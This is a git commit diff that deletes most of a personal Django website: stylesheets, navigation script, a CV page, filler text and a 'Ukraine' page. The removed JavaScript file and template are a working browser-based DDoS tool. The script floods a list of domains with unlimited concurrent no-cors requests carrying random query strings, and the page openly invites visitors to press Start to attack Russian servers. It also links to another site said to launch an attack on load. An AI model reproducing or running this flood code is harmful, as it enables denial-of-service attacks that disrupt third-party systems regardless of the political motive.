Delete all.
To create new stuff, you must first let old stuff go.
This commit is contained in:
parent
a5f15f88cd
commit
cd7691df9e
10 changed files with 3 additions and 633 deletions
|
@ -1,155 +0,0 @@
|
||||||
body {
|
|
||||||
color: #377ba8;
|
|
||||||
background: #252525;
|
|
||||||
font-size: 62.5%;
|
|
||||||
color: white;
|
|
||||||
}
|
|
||||||
|
|
||||||
h1, h2 {
|
|
||||||
margin: 0;
|
|
||||||
text-shadow: -2px -2px 0 #000, 2px -2px 0 #000,
|
|
||||||
-2px 2px 0 #000, 2px 2px 0 #000;
|
|
||||||
}
|
|
||||||
|
|
||||||
h1 {
|
|
||||||
color: white;
|
|
||||||
font-size: 4rem;
|
|
||||||
border-bottom: 2px solid #eee;
|
|
||||||
padding-bottom: 0.7%;
|
|
||||||
margin-bottom: 2.5%;
|
|
||||||
margin-top: 1%;
|
|
||||||
}
|
|
||||||
|
|
||||||
h2 {
|
|
||||||
margin-top: 6%;
|
|
||||||
font-size: 3rem;
|
|
||||||
line-height: 2.9rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
a {
|
|
||||||
color: #377ba8;
|
|
||||||
}
|
|
||||||
|
|
||||||
p {
|
|
||||||
padding-right: 33%;
|
|
||||||
font-size: 0.95rem;
|
|
||||||
}
|
|
||||||
h3 {
|
|
||||||
font-size: 1.7rem;
|
|
||||||
margin-bottom: 2%;
|
|
||||||
}
|
|
||||||
|
|
||||||
ul {
|
|
||||||
font-size: 1.05rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
h4 {
|
|
||||||
font-size: 1.05rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.ftr {
|
|
||||||
width: 90%;
|
|
||||||
margin-left: 5%;
|
|
||||||
display: flex;
|
|
||||||
justify-content: space-evenly;
|
|
||||||
align-items: center;
|
|
||||||
flex-flow: row wrap;
|
|
||||||
}
|
|
||||||
|
|
||||||
.ftrh {
|
|
||||||
font-size: 1.7rem;
|
|
||||||
margin-bottom: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
.key {
|
|
||||||
display: flex;
|
|
||||||
justify-content: center;
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
.page {
|
|
||||||
margin: 2% auto;
|
|
||||||
width: 66.666%;
|
|
||||||
border: 5px solid #ccc;
|
|
||||||
padding: 0.8%;
|
|
||||||
padding: 0.8%;
|
|
||||||
background: #333;
|
|
||||||
}
|
|
||||||
|
|
||||||
.navbar {
|
|
||||||
margin-left: -20.5%;
|
|
||||||
margin-top: 15%;
|
|
||||||
width: 21%;
|
|
||||||
border: 5px solid #ccc;
|
|
||||||
background: #333;
|
|
||||||
float: left;
|
|
||||||
position: fixed;
|
|
||||||
transition: margin-left 0.2s;
|
|
||||||
}
|
|
||||||
|
|
||||||
.navbar-active {
|
|
||||||
margin-left: 0%;
|
|
||||||
margin-top: 15%;
|
|
||||||
width: 21%;
|
|
||||||
border: 5px solid #ccc;
|
|
||||||
background: #333;
|
|
||||||
float: left;
|
|
||||||
position: fixed;
|
|
||||||
transition: margin-left 0.2s;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
.navbar-block {
|
|
||||||
font-size: 1.13rem;
|
|
||||||
width: 95%;
|
|
||||||
padding-top: 5%;
|
|
||||||
padding-bottom: 5%;
|
|
||||||
margin-left: 2.5%;
|
|
||||||
margin-top: 3%;
|
|
||||||
margin-bottom: 3%;
|
|
||||||
float: left;
|
|
||||||
color: white;
|
|
||||||
background: #454545;
|
|
||||||
}
|
|
||||||
|
|
||||||
.navbar-button {
|
|
||||||
margin-left: 20%;
|
|
||||||
margin-top: 5.5%;
|
|
||||||
border: 5px solid #ccc;
|
|
||||||
border-radius: 40px;
|
|
||||||
background: #333;
|
|
||||||
float: left;
|
|
||||||
position: fixed;
|
|
||||||
transition: margin-left 0.2s;
|
|
||||||
font-size: 1.8rem;
|
|
||||||
padding: 1%;
|
|
||||||
padding-top: 0.6%;
|
|
||||||
padding-bottom: 0.6%;
|
|
||||||
cursor: pointer;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media only screen and (max-width: 604px) {
|
|
||||||
h1 {
|
|
||||||
font-size: 2rem;
|
|
||||||
}
|
|
||||||
h2 {
|
|
||||||
font-size: 1.8rem;
|
|
||||||
}
|
|
||||||
.navbar {
|
|
||||||
width: 80%;
|
|
||||||
margin-left: -80%;
|
|
||||||
}
|
|
||||||
.navbar-active {
|
|
||||||
width: 80%;
|
|
||||||
margin-left: 30%:
|
|
||||||
}
|
|
||||||
|
|
||||||
.navbar-button {
|
|
||||||
margin-left: 78%;
|
|
||||||
margin-top: 22%;
|
|
||||||
}
|
|
||||||
p {
|
|
||||||
padding-right: 8%;
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
|
@ -1,20 +0,0 @@
|
||||||
.domain-wrapper {
|
|
||||||
display: flex;
|
|
||||||
flex-flow: row wrap;
|
|
||||||
justify-content: space-between;
|
|
||||||
width: 95%;
|
|
||||||
font-size: 11pt;
|
|
||||||
}
|
|
||||||
|
|
||||||
.domain-segment-checkbox {
|
|
||||||
width: 5%;
|
|
||||||
}
|
|
||||||
.domain-segment-domain {
|
|
||||||
width: 45%;
|
|
||||||
}
|
|
||||||
.domain-segment-req {
|
|
||||||
width: 25%;
|
|
||||||
}
|
|
||||||
.domain-segment-err {
|
|
||||||
width: 25%;
|
|
||||||
}
|
|
|
@ -1,89 +0,0 @@
|
||||||
|
|
||||||
var CONCURRENCY_LIMIT = 50;
|
|
||||||
var queue = [];
|
|
||||||
var stop = false
|
|
||||||
|
|
||||||
function req_update() {
|
|
||||||
slider = document.querySelector("#requests");
|
|
||||||
infobox = document.querySelector("#amount");
|
|
||||||
CONCURRENCY_LIMIT = slider.value;
|
|
||||||
infobox.innerHTML = slider.value;
|
|
||||||
}
|
|
||||||
|
|
||||||
async function fetchWithTimeout(resource, options) {
|
|
||||||
const controller = new AbortController();
|
|
||||||
const id = setTimeout(() => controller.abort(), options.timeout);
|
|
||||||
|
|
||||||
return fetch(resource, {
|
|
||||||
method: 'GET',
|
|
||||||
mode: 'no-cors',
|
|
||||||
signal: controller.signal
|
|
||||||
}).then((response) => {
|
|
||||||
clearTimeout(id);
|
|
||||||
return response;
|
|
||||||
}).catch((error) => {
|
|
||||||
clearTimeout(id);
|
|
||||||
throw error;
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
async function flood() {
|
|
||||||
|
|
||||||
// Collect selected domains
|
|
||||||
let targets = [];
|
|
||||||
let stat = document.querySelector("#status")
|
|
||||||
let domains = document.querySelectorAll(".domain-wrapper");
|
|
||||||
domains.forEach((domain) => {
|
|
||||||
if (domain.children[0].children[0].checked) {
|
|
||||||
domain.errors = 0;
|
|
||||||
domain.requests = 0;
|
|
||||||
targets.push(domain);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
stat.innerHTML = "Status: on"
|
|
||||||
|
|
||||||
for (var i = 0; ; ++i) {
|
|
||||||
randarg = i % 3 === 0 ? '' : ('?' + Math.random() * 1000);
|
|
||||||
rand = Math.floor(Math.random() * targets.length) % targets.length;
|
|
||||||
target = targets[rand];
|
|
||||||
queue.push(
|
|
||||||
fetchWithTimeout(target.children[1].innerHTML.trim() + randarg, {"timeout": 1000}
|
|
||||||
).catch((error) => {
|
|
||||||
if (error.code === 20 /* ABORT */) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
target.errors++;
|
|
||||||
}
|
|
||||||
).then((response) => {
|
|
||||||
if (response && !response.ok) {
|
|
||||||
target.errors++;
|
|
||||||
}
|
|
||||||
target.requests++;
|
|
||||||
}
|
|
||||||
)
|
|
||||||
);
|
|
||||||
|
|
||||||
if (queue.length >= CONCURRENCY_LIMIT) {
|
|
||||||
await queue.shift();
|
|
||||||
}
|
|
||||||
if (stop) {
|
|
||||||
queue = [];
|
|
||||||
stat.innerHTML = "Status: off"
|
|
||||||
stop = false
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function printStats() {
|
|
||||||
domains = document.querySelectorAll(".domain-wrapper");
|
|
||||||
domains.forEach((domain) => {
|
|
||||||
domain.children[2].innerHTML = `requests: ${domain.requests}`;
|
|
||||||
domain.children[3].innerHTML = `errors: ${domain.errors}`;
|
|
||||||
|
|
||||||
});
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
setInterval(printStats, 1000);
|
|
|
@ -1,31 +0,0 @@
|
||||||
function init() {
|
|
||||||
let nav;
|
|
||||||
nav = document.getElementById("nav");
|
|
||||||
nav.state = new Object();
|
|
||||||
nav.state.open = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
function navbar_click() {
|
|
||||||
let nav;
|
|
||||||
let navButton;
|
|
||||||
|
|
||||||
nav = document.getElementById("nav");
|
|
||||||
check = nav.hasOwnProperty("state")
|
|
||||||
if (!check) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!nav.state.open) {
|
|
||||||
nav.classList.add("navbar-active");
|
|
||||||
nav.classList.remove("navbar");
|
|
||||||
// TODO: This breaks with every new page added
|
|
||||||
nav.children[4].innerHTML = "<"
|
|
||||||
nav.state.open = true;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
nav.classList.remove("navbar-active");
|
|
||||||
nav.classList.add("navbar");
|
|
||||||
nav.children[4].innerHTML = ">"
|
|
||||||
nav.state.open = false;
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,104 +0,0 @@
|
||||||
{% extends "layout.html" %}
|
|
||||||
{% load static %}
|
|
||||||
|
|
||||||
{% block content %}
|
|
||||||
<div class="page">
|
|
||||||
<h1 id="marcel-plch">Marcel Plch</h1>
|
|
||||||
<p><img src="{% static "base_app/img/me.jpg" %}" width="125" /></p>
|
|
||||||
<h2 id="work-experience">Work Experience</h2>
|
|
||||||
<h3 id="comprimato-systems-ltd.">Comprimato Systems Ltd.</h3>
|
|
||||||
<ul>
|
|
||||||
<li>2017 Jul - 2017 Aug</li>
|
|
||||||
</ul>
|
|
||||||
<p>My first job during summer before I went to third grade of high school. Here, I have learned most of my C++ skills. I was working on multimedia codec live transcoder, where my most important role was to wrap a C library x264 into a C++ project. Aside from this, I was given small side-tasks like tweaking logger or fixing a small bug.</p>
|
|
||||||
<h3 id="red-hat-czech-s.r.o.">Red Hat Czech s.r.o.</h3>
|
|
||||||
<ul>
|
|
||||||
<li>2017 Sep - 2020 Oct</li>
|
|
||||||
</ul>
|
|
||||||
<h4 id="internship">Internship</h4>
|
|
||||||
<p>Most of my experience overall comes from this employment. I started here as an intern in the Python maintenance team, where I made connections during previous year by working on open-source projects (PEP 547 and a semestral work in cooperation with Red Hat).</p>
|
|
||||||
<p>During my internship, I was working on patches for the cpython interpreter. This included bugfixes and working on Python enhancement proposals (later on as PEPs). Both PEPs I have worked on are linked below.</p>
|
|
||||||
<p>First PEP I was working on is supposed to allow running C modules the same way one can run a common .py file. This PEP had to be deferred until the internal mechanics are prepared for this.</p>
|
|
||||||
<p>The second PEP is also about C modules, here the goal was to allow the extension modules to implement classes the same way they work in Python. Before this PEP, C-implemented Python classes had no access to global module memory. This often caused hackish approach that usually resulted in memory leaks.</p>
|
|
||||||
<h4 id="employment">Employment</h4>
|
|
||||||
<p>A year into my internship, I was hired as a RHEL/Fedora packager at the same team. My responsibilities included RPM packaging, bugfixing, software maintenance, rebuilding new versions and making sure nothing is broken.</p>
|
|
||||||
<p>Bugfixing was probably the most common responsibility. Aside from this, I was working on fixing CVEs (security vulnerabilities), submitting updates to the distribution, tweaking software to be FIPS-compliant and if there was enough time, I continued my work on my PEPs.</p>
|
|
||||||
<h3 id="comprimato-systems-ltd.-1">Comprimato Systems Ltd.</h3>
|
|
||||||
<ul>
|
|
||||||
<li>2021 Mar - 2021 May</li>
|
|
||||||
</ul>
|
|
||||||
<p>This company grew since the time I last worked here, I was hired as a Developer in QA, my responsibility was to work on QA tools for the main product of the company. The expectations from each side didn’t quite meet, so it didn’t take long before this cooperation got terminated.</p>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="page">
|
|
||||||
<h2 id="education">Education</h2>
|
|
||||||
<ul>
|
|
||||||
<li>Fakulta informatiky Masarykovy univerzity
|
|
||||||
<ul>
|
|
||||||
<li>Faculty of Informatics, Masaryk University</li>
|
|
||||||
<li>2021 - 2026?</li>
|
|
||||||
</ul></li>
|
|
||||||
<li>University of Highlands and Islands, Perth college
|
|
||||||
<ul>
|
|
||||||
<li>2019</li>
|
|
||||||
</ul></li>
|
|
||||||
<li>Střední škola informatiky, poštovnictví a finančnictví, Brno, příspěvková organizace
|
|
||||||
<ul>
|
|
||||||
<li>High school of informatics, postal and financial services, Brno</li>
|
|
||||||
<li>2015 - 2019</li>
|
|
||||||
</ul></li>
|
|
||||||
</ul>
|
|
||||||
<h2 id="conference-attendance">Conference Attendance</h2>
|
|
||||||
<ul>
|
|
||||||
<li>Linux Days 2016</li>
|
|
||||||
<li>PyCon CZ 2018</li>
|
|
||||||
<li>PyCon CZ 2019</li>
|
|
||||||
<li>EuroPython 2019</li>
|
|
||||||
<li>Flock 2019 (Fedora Linux distribution conference)</li>
|
|
||||||
</ul>
|
|
||||||
<h2 id="skills">Skills</h2>
|
|
||||||
<h3 id="programming">Programming</h3>
|
|
||||||
<p>Designing algorithms and solutions to logical problems is a very fundamental concept in solving any problem in (not just) software. It’s programmer’s responsibility to design a sturdy and reliable code, as even the most careful user may get compromised, if the development process is underestimated.</p>
|
|
||||||
<p>Languages I know:</p>
|
|
||||||
<ul>
|
|
||||||
<li>C (Advanced)</li>
|
|
||||||
<li>Python (Advanced)</li>
|
|
||||||
<li>C++ (Intermediate-advanced)</li>
|
|
||||||
<li>Java (Intermediate)</li>
|
|
||||||
<li>C# (Intermediate</li>
|
|
||||||
<li>Rust (Basic)</li>
|
|
||||||
<li>Go (Basic)</li>
|
|
||||||
</ul>
|
|
||||||
|
|
||||||
</div>
|
|
||||||
<div class="page">
|
|
||||||
<h3 id="project-maintenance">Project maintenance</h3>
|
|
||||||
<p>Most of my work experience comes from Red Hat, which is a company selling support for their enterprise solutions. Selling support means a great effort being put into maintenance of the products.</p>
|
|
||||||
<p>I have worked at the Python maintenance team, which means I know the internals of the cpython interpreter and I am able to quickly learn a new library or Python project.</p>
|
|
||||||
<h3 id="operating-systems">Operating Systems</h3>
|
|
||||||
<p>As a huge enthusiast into open software, free operating systems are of great importance to me. Considering knowledge about internals of how computers work an important subject, I have learned many useful skills like system administrations, setting up permissions securely, working with sensitive data, setting a server up for a specific purpose etc.</p>
|
|
||||||
<h3 id="computer-networks">Computer Networks</h3>
|
|
||||||
<p>One computer may never solve a problem efficiently. Thus it is crucial to know how to make them communicate. By working with git, secure communication channels, webservers, multimedia codecs, etc., I have learned much useful information from practice (opening up sockets, securing them, selecting correct protocol…) on top of theoretical knowledge being taught at schools like IPv4 and basics of IPv6, TCP/IP, etc.</p>
|
|
||||||
<h3 id="public-speaking">Public Speaking</h3>
|
|
||||||
<p>One of my favorite semi-IT tasks is giving talks about topics I find useful or interesting. I often gave talks at some conferences and local Python meetups. I attended some Toastmasters sessions, so I could get better at public speaking. Unfortunately, before I could utilize these new skills, the COVID crisis terminated my public speaking for a while.</p>
|
|
||||||
<h2 id="interests">Interests</h2>
|
|
||||||
<ul>
|
|
||||||
<li>Free software</li>
|
|
||||||
<li>Ethics in computing</li>
|
|
||||||
<li>Cybersecurity</li>
|
|
||||||
<li>IT in politics</li>
|
|
||||||
<li>Philosophy</li>
|
|
||||||
</ul>
|
|
||||||
<h2 id="contact">Contact</h2>
|
|
||||||
<ul>
|
|
||||||
<li>E-mail: marcel.plch at protonmail.com</li>
|
|
||||||
<li>Matrix: <span class="citation" data-cites="dormouse">@dormouse</span><span class="citation" data-cites="matrix.org">@matrix.org</span></li>
|
|
||||||
</ul>
|
|
||||||
<h2 id="links-to-see">Links to see</h2>
|
|
||||||
<ul>
|
|
||||||
<li><a href="https://github.com/Dormouse759/">GitHub</a></li>
|
|
||||||
<li><a href="https://www.python.org/dev/peps/pep-0547/">PEP 547</a></li>
|
|
||||||
<li><a href="https://www.python.org/dev/peps/pep-0573/">PEP 573</a></li>
|
|
||||||
</ul>
|
|
||||||
</div>
|
|
||||||
{% endblock %}
|
|
|
@ -5,56 +5,7 @@
|
||||||
<div class="page">
|
<div class="page">
|
||||||
|
|
||||||
<h1> Homepage </h1>
|
<h1> Homepage </h1>
|
||||||
<h2> Welcome to my website </h2>
|
<h2> UNDER MAINTENANCE </h2>
|
||||||
<h3> Marcel Plch </h3> <img src="{% static "base_app/img/me.jpg" %}" width="125" />
|
|
||||||
<p>
|
|
||||||
I am an open-source enthusiast and love teaching people important stuff
|
|
||||||
about technology. Currently, I'm trying to start up a small business
|
|
||||||
based on web development and software support. There should be a
|
|
||||||
section about this somewhere around here soon™!
|
|
||||||
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<h3> Open Source </h3>
|
|
||||||
<p>
|
|
||||||
I contribute to a few projects.
|
|
||||||
</p>
|
|
||||||
<ul>
|
|
||||||
<li><a href="https://www.python.org/">Python</a></li>
|
|
||||||
<li><a href="https://getfedora.org/">Fedora Project</a></li>
|
|
||||||
<li><a href="https://wiki.cachyos.org/">CachyOS</a></li>
|
|
||||||
<li><a href="https://www.blender.org/">Blender</a></li>
|
|
||||||
</ul>
|
|
||||||
<p>
|
|
||||||
You can check out most of my contributions on <a href="https://github.com/Dormouse759/">my GitHub</a>
|
|
||||||
</p>
|
|
||||||
<h3> Cryptography </h3>
|
|
||||||
<p>
|
|
||||||
Cryptography is what keeps all of our data secure. My solutions don't
|
|
||||||
take security lightly. In any way you ever communicate with me, there
|
|
||||||
either already is some kind of cryptography invloved, or you can
|
|
||||||
request to validate my message using GPG. <b>Never</b> trust any
|
|
||||||
message from me that looks important, if it's not cryptographically
|
|
||||||
easy to verify.
|
|
||||||
</p>
|
|
||||||
<h3> Ethical software </h3>
|
|
||||||
<p>
|
|
||||||
Ethical software are programs that are written and deployed in such a way
|
|
||||||
that they have no way of containing any malicious code. All of the software
|
|
||||||
I recomment and/or provide here on my website are open-source programs.
|
|
||||||
</p>
|
|
||||||
<p>
|
|
||||||
Open-source
|
|
||||||
is the first fundamental stone of ethical software, it makes the source code
|
|
||||||
available to all programmers around the world so they can download, modify, redistribute
|
|
||||||
and check what the software is doing.
|
|
||||||
</p>
|
|
||||||
<p>
|
|
||||||
There are more ways to ensure that your software is ethical and even
|
|
||||||
<i>proprietary</i> software <b>may</b> be ethical. Read some of my
|
|
||||||
articles on my website (to be added) to learn what ethical software is.
|
|
||||||
</p>
|
|
||||||
<h3> </h3>
|
|
||||||
</div>
|
</div>
|
||||||
{% endblock %}
|
{% endblock %}
|
||||||
|
|
||||||
|
|
|
@ -18,39 +18,7 @@
|
||||||
{% endblock %}
|
{% endblock %}
|
||||||
</head>
|
</head>
|
||||||
|
|
||||||
<body onload="init()">
|
<body>
|
||||||
{# NAVBAR #}
|
|
||||||
<section class="navbar" id="nav">
|
|
||||||
|
|
||||||
<a href="/">
|
|
||||||
<div class="navbar-block">
|
|
||||||
Home
|
|
||||||
</div>
|
|
||||||
</a>
|
|
||||||
|
|
||||||
<a href="/lorem-ipsum">
|
|
||||||
<div class="navbar-block">
|
|
||||||
Lorem Ipsum
|
|
||||||
</div>
|
|
||||||
</a>
|
|
||||||
|
|
||||||
<a href="/curriculum-vitae">
|
|
||||||
<div class="navbar-block">
|
|
||||||
Curriculum Vitae
|
|
||||||
</div>
|
|
||||||
<a href="/ukraine">
|
|
||||||
<div class="navbar-block">
|
|
||||||
<img src="{% static "base_app/img/ukraine.png" %}" width="16" style="display:inline">
|
|
||||||
Ukraine
|
|
||||||
</div>
|
|
||||||
</a>
|
|
||||||
<div class="navbar-button"
|
|
||||||
onclick="navbar_click()"
|
|
||||||
>
|
|
||||||
>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
</section>
|
|
||||||
|
|
||||||
{# CONTENT #}
|
{# CONTENT #}
|
||||||
{% block content %}
|
{% block content %}
|
||||||
|
@ -60,13 +28,7 @@
|
||||||
<footer>
|
<footer>
|
||||||
<div class="ftr">
|
<div class="ftr">
|
||||||
<div class="ftr-block">
|
<div class="ftr-block">
|
||||||
<p><b>E-mail: </b>marcel.plch at protonmail.com</p>
|
<p><b>E-mail: </b>dormouse at plch(It's this very domain.)xyz</p>
|
||||||
</div>
|
|
||||||
<div class="ftr-block">
|
|
||||||
<p><b>Matrix: </b>@dormouse:matrix.org</p>
|
|
||||||
</div>
|
|
||||||
<div class="ftr-block">
|
|
||||||
<p><b>Mastodon: </b>@dormouse@mas.to</p>
|
|
||||||
</div>
|
</div>
|
||||||
<div class="ftr-block">
|
<div class="ftr-block">
|
||||||
<p><b>Jabber/XMPP: </b>@dormouse@plch.xyz</p>
|
<p><b>Jabber/XMPP: </b>@dormouse@plch.xyz</p>
|
||||||
|
@ -78,8 +40,6 @@
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</footer>
|
</footer>
|
||||||
|
|
||||||
<script src="{% static "base_app/js/master.js" %}"></script>
|
|
||||||
</body>
|
</body>
|
||||||
|
|
||||||
</html>
|
</html>
|
||||||
|
|
|
@ -1,38 +0,0 @@
|
||||||
{% extends "layout.html" %}
|
|
||||||
|
|
||||||
{% block content %}
|
|
||||||
<div class="page">
|
|
||||||
<h1>Lorem Ipsum</h1>
|
|
||||||
<p>
|
|
||||||
<i>
|
|
||||||
"Neque porro quisquam est qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit..."
|
|
||||||
</i>
|
|
||||||
</p>
|
|
||||||
<p>
|
|
||||||
<i>
|
|
||||||
"There is no one who loves pain itself, who seeks after it and wants to have it, simply because it is pain..."
|
|
||||||
</i>
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<p>
|
|
||||||
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque a dolor metus. In dapibus pulvinar tortor in sagittis. Nulla vulputate sapien diam, ut faucibus diam ullamcorper quis. Quisque sed suscipit enim, in ultrices erat. Morbi non suscipit erat, et porttitor diam. Mauris tellus sem, interdum vel odio non, fermentum placerat ligula. Integer sagittis, nulla vel dapibus ullamcorper, massa dui varius ante, id ultrices dui est at purus. Integer vehicula risus eget ex lobortis pulvinar. Mauris hendrerit nec nunc id ultricies. Vestibulum vulputate mi in magna sagittis, in elementum justo varius. In cursus sapien venenatis interdum suscipit. Nam ac pretium odio. Donec tempus velit ac enim ultricies, a tincidunt velit iaculis. Proin vel erat dignissim, feugiat odio quis, scelerisque ipsum.
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<p>
|
|
||||||
Nullam orci sem, condimentum eget diam nec, dapibus tempus justo. Ut porta ex non pulvinar vestibulum. In a ligula condimentum, pharetra metus sed, bibendum dolor. In ornare tellus nec tellus mollis, quis ultrices leo volutpat. Aenean posuere, massa ac tempus varius, ligula sem rhoncus quam, ac lacinia eros lectus varius felis. Nunc dignissim eros porta, maximus augue ac, interdum ipsum. Fusce porta enim vel placerat eleifend. Phasellus id dignissim diam, id venenatis nunc. Etiam pretium dolor ac mi condimentum, ut eleifend neque dapibus. Aenean sit amet ipsum condimentum, volutpat lectus quis, ornare tortor. Donec blandit erat eget egestas sodales. Donec interdum tortor accumsan faucibus porta. Nam placerat facilisis faucibus. Orci varius natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. In eu lacus eleifend, condimentum dui quis, vehicula metus.
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<p>
|
|
||||||
Nunc in ante nisi. Sed pharetra volutpat velit, non accumsan purus. Curabitur sit amet dignissim lacus, sed commodo nisi. Integer sit amet cursus quam. Aliquam congue, ipsum at sagittis vehicula, odio dolor ultrices augue, eu ultricies libero erat fermentum justo. Suspendisse potenti. Fusce semper eget elit accumsan interdum. Sed sed mi sed risus aliquam hendrerit id sodales magna. Aliquam tristique dictum condimentum. In ipsum enim, vestibulum a justo sed, tincidunt iaculis nisl. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Sed lobortis, orci sed auctor bibendum, felis mi varius libero, quis venenatis augue ante nec magna. Pellentesque placerat nunc sed tortor posuere, ut dignissim ante rhoncus. In feugiat, magna non bibendum bibendum, ipsum odio ultricies arcu, id posuere nisi sem sed nisl. Interdum et malesuada fames ac ante ipsum primis in faucibus. Praesent maximus, urna sed dictum imperdiet, purus leo tincidunt dui, eu dignissim arcu urna in nibh.
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<p>
|
|
||||||
Cras eget molestie enim, eget ultrices nisi. Duis vitae feugiat nibh. Suspendisse nisi ex, condimentum nec venenatis vel, gravida sit amet est. Duis accumsan a est ac ornare. Nam ut ullamcorper ipsum, ac semper mi. Nullam lacinia nisi non pellentesque porta. Vivamus feugiat molestie dapibus. Maecenas mattis sem quis viverra blandit. Maecenas tristique auctor urna. In venenatis libero et tortor sodales, eu lobortis lacus mattis. Curabitur eget efficitur ex, vitae gravida neque. Nulla sed mollis dolor.
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<p>
|
|
||||||
Donec vulputate, erat sed venenatis lacinia, orci diam porttitor dolor, in vehicula sem ex vel turpis. Sed vitae arcu eu ipsum viverra scelerisque. Donec erat massa, laoreet auctor ipsum ut, fringilla vulputate erat. Praesent non lacus quis odio dignissim imperdiet id eu turpis. Nulla vel ornare ligula. Quisque interdum tempor odio ut vestibulum. Phasellus ante elit, ultrices nec augue quis, faucibus fermentum erat. Ut in mauris vel dui sodales porta.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
{% endblock %}
|
|
||||||
|
|
|
@ -1,77 +0,0 @@
|
||||||
{% extends "layout.html" %}
|
|
||||||
{% load static %}
|
|
||||||
|
|
||||||
{% block headerExtension %}
|
|
||||||
<link rel="stylesheet" href="{% static "base_app/css/ukraine.css" %}">
|
|
||||||
{% endblock %}
|
|
||||||
|
|
||||||
{% block content %}
|
|
||||||
<div class="page">
|
|
||||||
|
|
||||||
<h1 style="display:inline"> Glory to Ukraine!
|
|
||||||
<img src="{% static "base_app/img/ukraine.png" %}" width="48">
|
|
||||||
</h1>
|
|
||||||
|
|
||||||
<h2> Glory to heroes! </h2>
|
|
||||||
|
|
||||||
<h3> Say no to propaganda </h3>
|
|
||||||
<p>
|
|
||||||
This website is inspired by <a
|
|
||||||
href="https://vug.pl/takeRussiaDown.html">vug.pl</a> (Careful,
|
|
||||||
this will immediately launch a DoS attack against russian servers.)
|
|
||||||
</p>
|
|
||||||
<p>
|
|
||||||
Please bookmark that website as well, any page like this is at risk of
|
|
||||||
being taken down. If you wish to contact me about this effort, please do so
|
|
||||||
by encrypted means. I will send tutorials and help explain how to, if you do not
|
|
||||||
posses such skills.
|
|
||||||
</p>
|
|
||||||
<p>
|
|
||||||
Thank you for your help.
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<h3>What can I do?</h3>
|
|
||||||
<p>
|
|
||||||
Below, you can see a list of domains and a start button. If you click
|
|
||||||
the start button, you launch a <a
|
|
||||||
href="https://en.wikipedia.org/wiki/Denial-of-service_attack">
|
|
||||||
DDoS attack</a> (Wikipedia)
|
|
||||||
against russian servers and disinformation websites
|
|
||||||
directly connected to, or exclusively sourcing, russian propaganda.
|
|
||||||
</p>
|
|
||||||
<p>
|
|
||||||
If you believe some website is missing or shouldn't be here, please
|
|
||||||
contact me using the information in the footer.
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<input type="button" value="Start" onclick="flood()">
|
|
||||||
<input type="button" value="Stop" onclick="stop=true">
|
|
||||||
<p id="status">Status: off</p>
|
|
||||||
<p>Max requests (more is better, pull down if browser is unusable):</p>
|
|
||||||
<div class="slidecontainer" onchange="req_update()">
|
|
||||||
<input type="range" min="1" max="5096" value="50" class="slider" id="requests">
|
|
||||||
</div>
|
|
||||||
<p id="amount">50</p>
|
|
||||||
<p>Un/selecting a domain requres restart.</p>
|
|
||||||
{% for domain in domains %}
|
|
||||||
<div class="domain-wrapper">
|
|
||||||
<div class="domain-segment-checkbox">
|
|
||||||
<input type="checkbox" checked="true">
|
|
||||||
</div>
|
|
||||||
<div class="domain-segment-domain">
|
|
||||||
{{ domain }}
|
|
||||||
</div>
|
|
||||||
<div class="domain-segment-req">
|
|
||||||
requests: 0
|
|
||||||
</div>
|
|
||||||
<div class="domain-segment-err">
|
|
||||||
errors: 0
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
{% endfor %}
|
|
||||||
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<script src="{% static "base_app/js/fuck_putin.js" %}"></script>
|
|
||||||
{% endblock %}
|
|
||||||
|
|
|
@ -3,17 +3,7 @@ from django.shortcuts import render
|
||||||
from django.shortcuts import render, redirect
|
from django.shortcuts import render, redirect
|
||||||
from django.views.generic import TemplateView, FormView
|
from django.views.generic import TemplateView, FormView
|
||||||
|
|
||||||
import json
|
|
||||||
|
|
||||||
# Helper functions
|
# Helper functions
|
||||||
def get_domains():
|
|
||||||
domains = None
|
|
||||||
with open("data/domains.json", "r") as f:
|
|
||||||
data = f.read()
|
|
||||||
domains = json.loads(data)
|
|
||||||
|
|
||||||
return domains
|
|
||||||
|
|
||||||
|
|
||||||
# Create your views here.
|
# Create your views here.
|
||||||
class IndexView(TemplateView):
|
class IndexView(TemplateView):
|
||||||
|
@ -21,20 +11,3 @@ class IndexView(TemplateView):
|
||||||
def get(self, request, *args, **kwargs):
|
def get(self, request, *args, **kwargs):
|
||||||
return render(request, "index.html", {})
|
return render(request, "index.html", {})
|
||||||
|
|
||||||
class CVView(TemplateView):
|
|
||||||
|
|
||||||
def get(self, request, *args, **kwargs):
